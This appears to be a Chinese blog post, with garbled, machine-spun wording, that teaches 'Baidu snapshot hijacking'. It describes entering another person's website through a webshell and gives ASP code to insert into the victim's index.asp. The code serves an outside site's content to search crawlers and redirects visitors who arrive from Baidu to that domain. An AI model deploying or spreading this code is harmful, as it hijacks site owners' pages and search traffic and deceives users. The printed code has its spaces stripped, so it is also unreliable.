这个就是快照绑架只需对方网站更新了那么就是你的网站要害字经过百度打开会进入你的网站
百度快照绑架
咱们先进入这个站的webshell
webshell简略来说就是网站控制权,是他人的网站。index.asp一般ASP主页是index就是主页记住代码是放到的上下代码咱们确保都是最新的,代码经常会过期用不了,或许被屏蔽。咱们会一向供给最新的代码免费的更新
webshell
ASP绑架代码
<%
functionGetBot()
\'查询蜘蛛
dims_agent
GetBot=/\"/\"
s_agent=Request.ServerVariables(/\"HTTP_USER_AGENT/\")\'要害判别句子
ifinstr(1,s_agent,/\"googlebot/\",1)>0then
GetBot=/\"google/\"
endif
ifinstr(1,s_agent,/\"msnbot/\",1)>0then
GetBot=/\"MSN/\"
endif
ifinstr(1,s_agent,/\"slurp/\",1)>0then
GetBot=/\"Yahoo/\"
endif
ifinstr(1,s_agent,/\"baiduspider/\",1)>0then
GetBot=/\"baidu/\"
endif
ifinstr(1,s_agent,/\"sohu-search/\",1)>0then
GetBot=/\"Sohu/\"
endif
ifinstr(1,s_agent,/\"lycos/\",1)>0then
GetBot=/\"Lycos/\"
endif
ifinstr(1,s_agent,/\"robozilla/\",1)>0then
GetBot=/\"Robozilla/\"
endif
endfunction
FunctiongetHTTPPage(Path)
t=GetBody(Path)
getHTTPPage=BytesToBstr(t,/\"GB2312/\")\'编码
Endfunction
FunctionNewstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
ifNewstring<=0thenNewstring=Len(wstr)
EndFunction
FunctionGetBody(url)
onerrorresumenext
SetRetrieval=CreateObject(/\"Microsoft.XMLHTTP/\")
WithRetrieval
.Open/\"Get/\",url,False,/\"/\",/\"/\"
.Send
GetBody=.ResponseBody
EndWith
SetRetrieval=Nothing
EndFunction
FunctionBytesToBstr(body,Cset)
dimobjstream
setobjstream=Server.CreateObject(/\"adodb.stream/\")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.Writebody
objstream.Position=0
objstream.Type=2
objstream.Charset=Cset
BytesToBstr=objstream.ReadText
objstream.Close
setobjstream=nothing
EndFunction
Dimwstr,str,url,start,over,dtime
ifGetBot=/\"baidu/\"then
url=/\"http://www.55um.com//\"
wstr=getHTTPPage(url)
body=wstr
response.write/\"/\"&body&/\"/\"
response.end
elseifGetBot=/\"google/\"then
url=/\"http://www.55um.com//\"
wstr=getHTTPPage(url)
body=wstr
response.write/\"/\"&body&/\"/\"
response.end
endif
ifinstr(Request.ServerVariables(/\"http_referer/\"),/\"www.baidu.com/\")>0then
response.redirect(/\"http://www.55um.com//\")
endif
%>
本文来自投稿,不代表重蔚自留地立场,如若转载,请注明出处https://www.cwhello.com/39399.html
如有侵犯您的合法权益请发邮件951076433@qq.com联系删除